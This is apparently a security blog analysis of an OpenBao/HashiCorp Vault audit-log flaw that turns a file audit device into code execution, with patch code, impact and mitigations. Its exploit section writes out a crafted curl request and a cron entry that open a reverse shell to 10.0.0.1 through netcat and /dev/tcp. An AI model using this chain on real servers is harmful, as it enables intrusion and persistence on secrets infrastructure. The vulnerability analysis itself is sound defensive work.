The Janitor's Key: Turning OpenBao Audit Logs into RCE
Jan 1, 2026·6 min read
Executive Summary (TL;DR)
A high-privilege RCE vulnerability (CVSS 9.1) allows operators to turn the audit logging system into an arbitrary file write primitive. By pointing a 'file' audit device at a sensitive path (like `/etc/cron.d`) and injecting a malicious 'prefix', attackers can execute code as the Vault/OpenBao service user. The fix involves disabling API-based audit configuration entirely.
OpenBao and HashiCorp Vault, the literal Fort Knoxes of the DevOps world, suffered a catastrophic logic flaw in their audit subsystems. By abusing the ability to configure audit devices via API, privileged attackers could trick the system into writing malicious code directly to the host filesystem.
The Hook: Fort Knox's Back Door
We like to think of HashiCorp Vault and its open-source fork, OpenBao, as impenetrable black boxes. You put secrets in, you get secrets out, and nothing else happens. But security appliances suffer from a unique paradox: to be useful, they must be observable. They need to generate logs.
In the world of high-security compliance, audit logs are king. You need to know who accessed the database credentials at 3 AM. To facilitate this, OpenBao exposes the sys/audit API endpoint. This endpoint allows administrators to define where logs go. You can send them to a socket, a syslog daemon, or—crucially—a file on the local disk.
This feature was designed with flexibility in mind. You, the admin, define the file path. You, the admin, can even define a custom string prefix to tag the logs. It sounds innocent enough. It’s just logging, right? How dangerous can a text file be?
As it turns out, very. CVE-2025-54997 isn't a memory corruption bug or a buffer overflow. It is a logical failure to realize that if you let a user write arbitrary text to an arbitrary file, you have given them a loaded gun.
The Flaw: The Prefix Problem
The vulnerability relies on two specific configuration options available when enabling a file audit device via the API: file_path and prefix.
The file_path option tells OpenBao where to write the log file. The application historically assumed that if you had permissions to configure the audit backend, you were trusted enough not to point it at /etc/passwd or /bin/ls. That was the first mistake.
The second mistake was the prefix option. This allows an operator to prepend a custom string to every single log line. The intention was likely to help Splunk parsers distinguish between different audit streams. The reality is that it gave attackers a way to inject unstructured data into the file stream.
When you combine these, you get a classic primitive: Arbitrary File Write with Controlled Content.
The code didn't validate that the file_path was safe (i.e., inside a log directory). Nor did it sanitize the prefix to ensure it didn't contain newlines or shell metacharacters. It just took the user's input and started appending data to the filesystem.
The Code: Analysis of the Patch
The fix for this vulnerability is effectively a confession that the feature was too dangerous to exist in its current form. Instead of trying to build a complex blacklist of bad file paths (which is always bypassable), the maintainers decided to nuke the functionality from orbit.
In OpenBao PR #1634, the developers introduced two boolean flags in the server configuration (config.hcl):
unsafe_allow_api_audit_creation: Defaulting tofalse. This kills the ability to create audit devices via the REST API entirely.allow_audit_log_prefixing: Defaulting tofalse. This specifically blocks the dangerousprefixparameter.
Here is the logic added to vault/logical_system.go. It's brutally simple:
// Loading the server configuration
conf := b.Core.rawConfig.Load().(*server.Config)
// Check 1: Is the API allowed to create audit devices?
if !conf.UnsafeAllowAPIAuditCreation {
return handleError(fmt.Errorf("cannot enable audit device via API"))
}
// Check 2: Is the user trying to set a prefix?
if _, hasPrefix := options["prefix"]; hasPrefix && !conf.AllowAuditLogPrefixing {
return handleError(fmt.Errorf("audit log prefixing is not allowed"))
}Previously, this code would just pass the options map directly to the backend factory. Now, it acts as a gatekeeper. By moving audit configuration to the static config.hcl file (which requires root access to the host to edit), they enforce a higher privilege requirement for these dangerous actions.
The Exploit: Crontab Injection
Let's put on our black hats. We have a compromised Vault/OpenBao token with sys/audit permissions. We want a shell on the underlying server. Since most Vault instances run on Linux, cron is our best friend.
Here is the attack chain:
- Target Selection: We target
/etc/cron.d/malicious. Files in this directory are automatically read by the system cron daemon to schedule tasks. - Payload Construction: We need a valid cron entry. We will hide it inside the
prefixfield.
Our malicious payload looks like this:
* * * * * root /usr/bin/nc -e /bin/sh 10.0.0.1 1337 #
- The API Call: We send a request to enable the audit device.
curl --header "X-Vault-Token: $ROOT_TOKEN" \
--request POST \
--data '{
"type": "file",
"options": {
"file_path": "/etc/cron.d/pwned",
"prefix": "\n* * * * * root bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\" #"
}
}' \
http://127.0.0.1:8200/v1/sys/audit/exploit-
Trigger: We simply make any request to the Vault.
vault read sys/healthis enough. The system logs this request to/etc/cron.d/pwned. Because of our prefix, the file content starts with our cron job, followed by the JSON log data (commented out by the#). -
Execution: The cron daemon sees the new file, parses the line, and executes our reverse shell as root (or the Vault user, depending on permissions). Game over.
The Impact: Why This Matters
You might argue, "If I have a root token for Vault, I already own your secrets, so who cares about the underlying server?"
That's a dangerous misconception. Access to the data (secrets) is not the same as access to the infrastructure.
- Pivot Potential: With shell access to the host, I can pivot to other internal networks that the Vault server can reach but the API cannot. I can access AWS instance metadata credentials. I can dump the memory of the Vault process to steal the master key (unsealing key) if it's resident in RAM.
- Persistence: API tokens can be revoked. A rootkit installed in
/usr/bin/via this vulnerability persists even after you rotate every credential in the vault. - Wormability: If you automate your Vault deployment, an attacker could use this foothold to infect the configuration management system (Ansible/Terraform) and spread to every other node in your cluster.
This vulnerability bridges the gap between "Application Administrator" and "System Administrator."
The Fix: Mitigation Strategies
If you are running OpenBao < 2.3.2 or Vault < 1.20.1, you are vulnerable. The patch doesn't just fix a bug; it changes the operational model.
Immediate Remediation:
Upgrade to the patched versions. Once upgraded, the API endpoint for creating audit devices is disabled by default. If your deployment scripts rely on curl to set up audit logs, they will break. You need to refactor your deployment to define audit devices in the server's HCL configuration file.
Defense in Depth:
Even with the patch, you should restrict the Vault/OpenBao service user. Why does the Vault user have write access to /etc/cron.d/? It shouldn't. Run Vault with a dedicated user, use chroot or containerization, and employ AppArmor/SELinux profiles that forbid writing to sensitive system paths. If the service couldn't write to /etc/cron.d, this exploit would be dead in the water.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenBao OpenBao | < 2.3.2 | 2.3.2 |
Vault Community Edition HashiCorp | < 1.20.1 | 1.20.1 |
Vault Enterprise HashiCorp | < 1.19.7 | 1.19.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network (API) |
| CVSS Score | 9.1 (Critical) |
| Privileges Required | High (Audit Write) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Conceptual / Weaponizable |
MITRE ATT&CK Mapping
Improper Control of Generation of Code ('Code Injection')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.